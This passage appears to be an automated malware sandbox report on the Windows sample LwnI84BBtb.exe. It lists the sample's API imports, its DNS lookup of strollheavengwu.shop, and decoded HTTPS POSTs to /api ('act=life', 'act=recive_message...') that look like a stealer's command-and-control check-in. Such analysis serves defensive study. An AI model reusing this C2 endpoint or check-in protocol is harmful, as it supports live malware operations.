KERNEL32.dll	LocalCompact, GetUserDefaultLCID, AddConsoleAliasW, CreateHardLinkA, GetTickCount, GetWindowsDirectoryA, EnumTimeFormatsW, FindResourceExA, GetVolumeInformationA, LoadLibraryW, ReadConsoleInputA, CopyFileW, WriteConsoleW, GetCompressedFileSizeA, GetTempPathW, SetThreadLocale, GetLastError, SetLastError, GetProcAddress, GetLocaleInfoA, CreateTimerQueueTimer, SetStdHandle, SetFileAttributesA, WriteConsoleA, InterlockedExchangeAdd, LocalAlloc, SetCalendarInfoW, GetExitCodeThread, RemoveDirectoryW, AddAtomA, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, LoadLibraryExA, AddConsoleAliasA, OutputDebugStringW, GetComputerNameA, FindFirstChangeNotificationW, GetSystemDefaultLangID, FlushFileBuffers, GetConsoleMode, HeapFree, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsValidCodePage, GetACP, GetCPInfo, GetCurrentThreadId, IsDebuggerPresent, GetProcessHeap, ExitProcess, GetModuleHandleExW, MultiByteToWideChar, WideCharToMultiByte, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, HeapAlloc, WriteFile, GetModuleFileNameW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, GetStringTypeW, LoadLibraryExW, HeapReAlloc, ReadFile, SetFilePointerEx, LCMapStringW, GetConsoleCP, CreateFileW
USER32.dll	GetMenuItemID
GDI32.dll	GetCharacterPlacementW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpConnect

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 22:06:58.107923985 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.107964039 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.108043909 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.132740974 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.132783890 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.365586042 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.365669012 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.369517088 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.369530916 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.369940042 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.421324968 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.421350002 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.421530008 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.903470993 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.903619051 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.903981924 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.906050920 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.906071901 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.910775900 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.910876036 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:58.910980940 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.911284924 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:58.911309958 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.136548042 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.136770964 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.138067961 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.138087034 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.138588905 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.139751911 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.139786005 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.139853001 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.689630032 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.689778090 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.689883947 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.689943075 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.689970016 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.689996004 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690016031 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.690134048 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690185070 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.690216064 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690293074 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690342903 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.690356970 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690435886 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690485001 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.690495014 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690568924 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690612078 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.690622091 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690929890 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.690980911 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.692045927 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.692080975 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.692121983 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.692136049 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.809972048 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.810056925 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:06:59.810142040 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.810508966 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:06:59.810543060 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.036710024 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.037024021 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.038223028 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.038252115 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.038760900 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.040020943 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.040177107 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.040222883 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.040306091 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.040322065 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.578377008 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.578699112 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.578797102 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.578864098 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.578903913 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.681066990 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.681135893 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.681247950 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.681675911 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.681705952 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.906430960 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.906666994 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.908499002 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.908516884 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.909048080 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:00.910222054 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.910375118 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:00.910418987 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.438627005 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.438898087 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.439039946 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.442152977 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.442205906 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.610970020 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.611012936 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.611207962 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.611701012 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.611715078 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.836942911 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.837135077 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.838803053 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.838809967 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.839128017 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.840225935 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.840372086 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.840408087 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:01.840503931 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:01.840512037 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:02.445250988 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:02.445508957 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:02.445600033 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:02.452986956 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:02.453011990 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:02.659068108 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:02.659142017 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:02.659226894 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:02.659588099 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:02.659632921 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:02.885277987 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:02.885404110 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:02.886605024 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:02.886621952 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:02.887118101 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:02.888267994 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:02.888366938 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:02.888422966 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:03.409410000 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:03.409676075 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:03.409699917 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:03.409758091 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:03.492305040 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:03.492340088 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:03.492428064 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:03.492717028 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:03.492732048 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:03.723784924 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:03.723861933 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:03.725244999 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:03.725255013 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:03.725745916 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:03.726933002 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:03.727018118 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:03.727021933 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.248038054 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.248320103 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.248613119 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.248613119 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.673290014 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.673394918 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.673531055 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.673974991 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.674010038 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.903810024 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.903893948 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.905314922 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.905333996 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.905782938 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.906878948 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.907520056 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.907561064 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.907691956 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.907728910 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.907860994 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.907984018 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.908139944 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.908169985 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.908338070 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.908366919 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.908564091 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.908597946 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.908685923 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.908874035 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.908921003 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.909003973 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.909183025 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.909240961 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.909256935 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.952143908 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.952388048 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.952442884 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:04.996151924 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:04.996288061 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:05.040153980 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:05.118247032 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:05.118390083 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:05.118491888 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:05.159781933 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:05.224684000 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:06.482014894 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:06.482297897 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 20, 2024 22:07:06.482348919 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 20, 2024 22:07:06.482404947 CEST	49737	443	192.168.2.4	104.21.15.198

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 22:06:57.963877916 CEST	59674	53	192.168.2.4	1.1.1.1
Apr 20, 2024 22:06:58.102309942 CEST	53	59674	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 20, 2024 22:06:57.963877916 CEST	192.168.2.4	1.1.1.1	0x1dec	Standard query (0)	strollheavengwu.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 20, 2024 22:06:58.102309942 CEST	1.1.1.1	192.168.2.4	0x1dec	No error (0)	strollheavengwu.shop		104.21.15.198	A (IP address)	IN (0x0001)	false
Apr 20, 2024 22:06:58.102309942 CEST	1.1.1.1	192.168.2.4	0x1dec	No error (0)	strollheavengwu.shop		172.67.163.209	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

strollheavengwu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.15.198	443	7396	C:\Users\user\Desktop\LwnI84BBtb.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 20:06:58 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: strollheavengwu.shop
2024-04-20 20:06:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-20 20:06:58 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 20:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nosdrffc2toj70a75hs81v1jfd; expires=Wed, 14-Aug-2024 13:53:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MFsWPb%2BgZzPPJSR6Uia9g0Wlv9G4M4NHKMtqxPmXvnz3W7oa0k%2B7TXddjwuMMqYKizD9AiGILyk5YAqDfsDovnqxjeh%2B8ZjhZln6Skf34qB5PiPL6l8qda4dkWV0TQgeiGgBCltH2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8777c207ea701399-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 20:06:58 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-20 20:06:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.15.198	443	7396	C:\Users\user\Desktop\LwnI84BBtb.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 20:06:59 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: strollheavengwu.shop
2024-04-20 20:06:59 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 36 4d 6b 30 4d 2d 2d 6b 65 79 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=P6Mk0M--key&j=default
2024-04-20 20:06:59 UTC	804	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 20:06:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fsmoor00oprdpju4obtfrv73c9; expires=Wed, 14-Aug-2024 13:53:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=imXlGE0adeNZrKUgWroLp9BiwoXVy3kWw5ZuDi4kOcjcW03RNMrZeah08PSjyG7tSU1BKNEp940g1DORTiuAv9sR4xndnHYqr0Po4t%2BsFaUVY3GohoiGuCOr7PH05ncSRjQvKGYE5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8777c20cccdd4590-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 20:06:59 UTC	565	IN	Data Raw: 31 35 66 33 0d 0a 71 6e 79 50 69 44 57 4c 6f 37 42 63 74 59 30 35 65 45 4b 35 44 78 4c 31 71 6e 6d 37 5a 33 7a 6f 77 6a 41 45 33 66 54 38 55 4f 76 52 64 6f 61 71 51 36 6d 5a 6b 47 69 5a 68 7a 42 61 4d 64 77 74 4b 4e 58 65 43 38 34 43 55 4f 4c 4c 45 6d 57 35 31 73 5a 77 6a 63 73 51 2f 4f 30 5a 67 61 71 53 4d 63 32 76 41 31 67 5a 73 77 5a 70 2f 36 4e 77 6d 51 49 53 79 76 67 51 4a 71 71 52 6e 6a 57 54 33 68 6e 68 2b 31 7a 6b 7a 66 41 78 30 50 6c 59 46 53 50 4b 5a 44 79 63 78 56 75 58 62 58 58 68 34 46 56 2b 2f 38 37 63 63 71 62 50 43 4f 37 46 56 50 6a 49 6b 6e 43 2f 68 44 42 61 4a 38 30 74 4b 4e 57 49 4a 5a 6b 58 48 5a 71 6a 58 58 65 42 31 73 59 72 74 34 67 56 2b 2b 31 48 36 74 66 5a 4d 39 76 2b 5a 56 70 34 6a 7a 38 69 78 5a 70 4a 78 6b 56 32 34 62 38 36 44 Data Ascii: 15f3qnyPiDWLo7BctY05eEK5DxL1qnm7Z3zowjAE3fT8UOvRdoaqQ6mZkGiZhzBaMdwtKNXeC84CUOLLEmW51sZwjcsQ/O0ZgaqSMc2vA1gZswZp/6NwmQISyvgQJqqRnjWT3hnh+1zkzfAx0PlYFSPKZDycxVuXbXXh4FV+/87ccqbPCO7FVPjIknC/hDBaJ80tKNWIJZkXHZqjXXeB1sYrt4gV++1H6tfZM9v+ZVp4jz8ixZpJxkV24b86D
2024-04-20 20:06:59 UTC	1369	IN	Data Raw: 6f 46 2b 2f 50 30 7a 50 58 2f 56 4d 52 4b 39 35 2f 65 35 37 46 46 74 6b 49 46 49 57 6a 55 6d 47 31 6e 4a 45 34 6a 63 55 54 36 2b 70 58 71 59 2b 36 56 62 79 76 58 41 4a 67 67 79 38 77 74 4d 30 4c 33 67 6b 49 79 4a 6f 53 44 74 53 4a 30 46 6e 4c 69 6e 61 47 38 7a 2b 43 71 70 49 35 32 36 38 44 57 47 44 54 61 48 4f 55 77 78 54 61 44 52 57 59 6f 45 42 67 73 70 4f 4d 4e 49 7a 47 46 4f 37 34 58 65 66 48 30 54 66 63 35 6c 34 64 4a 4a 73 6a 47 50 79 6a 57 39 34 64 58 74 4c 69 45 6b 65 79 6e 5a 49 34 6e 73 68 65 68 59 46 49 70 36 6d 35 4a 37 2b 45 4d 46 6f 6e 31 79 30 6f 31 59 67 66 32 41 45 66 6a 71 35 63 59 72 4f 51 6b 44 2b 47 7a 68 54 74 37 56 33 68 79 64 4d 7a 33 4f 42 62 48 79 33 66 61 33 79 57 7a 56 75 58 62 58 58 68 34 46 56 2b 2f 38 37 63 63 71 66 50 48 66 Data Ascii: oF+/P0zPX/VMRK95/e57FFtkIFIWjUmG1nJE4jcUT6+pXqY+6VbyvXAJggy8wtM0L3gkIyJoSDtSJ0FnLinaG8z+CqpI5268DWGDTaHOUwxTaDRWYoEBgspOMNIzGFO74XefH0Tfc5l4dJJsjGPyjW94dXtLiEkeynZI4nshehYFIp6m5J7+EMFon1y0o1Ygf2AEfjq5cYrOQkD+GzhTt7V3hydMz3OBbHy3fa3yWzVuXbXXh4FV+/87ccqfPHf
2024-04-20 20:06:59 UTC	1369	IN	Data Raw: 78 74 73 33 33 65 35 56 46 53 76 58 61 47 4b 63 78 78 50 57 42 42 4f 48 71 31 5a 6d 2f 39 6a 32 57 65 4b 49 47 66 57 71 44 36 75 42 38 7a 50 59 2f 56 67 4c 59 75 35 75 66 70 6e 50 44 5a 6c 74 64 5a 58 75 4f 67 32 6d 2f 76 56 5a 79 63 38 53 72 62 49 56 71 63 44 65 4d 74 62 67 58 52 41 6f 32 47 78 69 6e 73 63 54 31 67 77 66 69 61 52 54 62 4b 32 45 6e 6a 36 62 78 42 54 72 35 56 72 6c 67 5a 78 57 76 49 51 62 48 54 69 62 4e 54 4c 58 34 68 6a 4e 42 68 54 49 6c 56 46 6f 73 5a 47 49 63 75 47 6a 41 61 4f 43 50 50 43 70 75 56 57 58 36 46 64 61 65 4a 6b 74 66 5a 62 41 48 63 73 4b 45 34 6d 75 58 47 6d 36 6d 5a 59 79 69 63 55 62 36 65 46 63 36 73 7a 57 4c 4e 33 76 55 78 38 68 30 57 63 77 32 61 42 77 73 6b 55 5a 6b 75 41 4b 4a 50 2b 6e 69 54 6e 4c 2f 52 33 6a 35 46 44 Data Ascii: xts33e5VFSvXaGKcxxPWBBOHq1Zm/9j2WeKIGfWqD6uB8zPY/VgLYu5ufpnPDZltdZXuOg2m/vVZyc8SrbIVqcDeMtbgXRAo2GxinscT1gwfiaRTbK2Enj6bxBTr5VrlgZxWvIQbHTibNTLX4hjNBhTIlVFosZGIcuGjAaOCPPCpuVWX6FdaeJktfZbAHcsKE4muXGm6mZYyicUb6eFc6szWLN3vUx8h0Wcw2aBwskUZkuAKJP+niTnL/R3j5FD
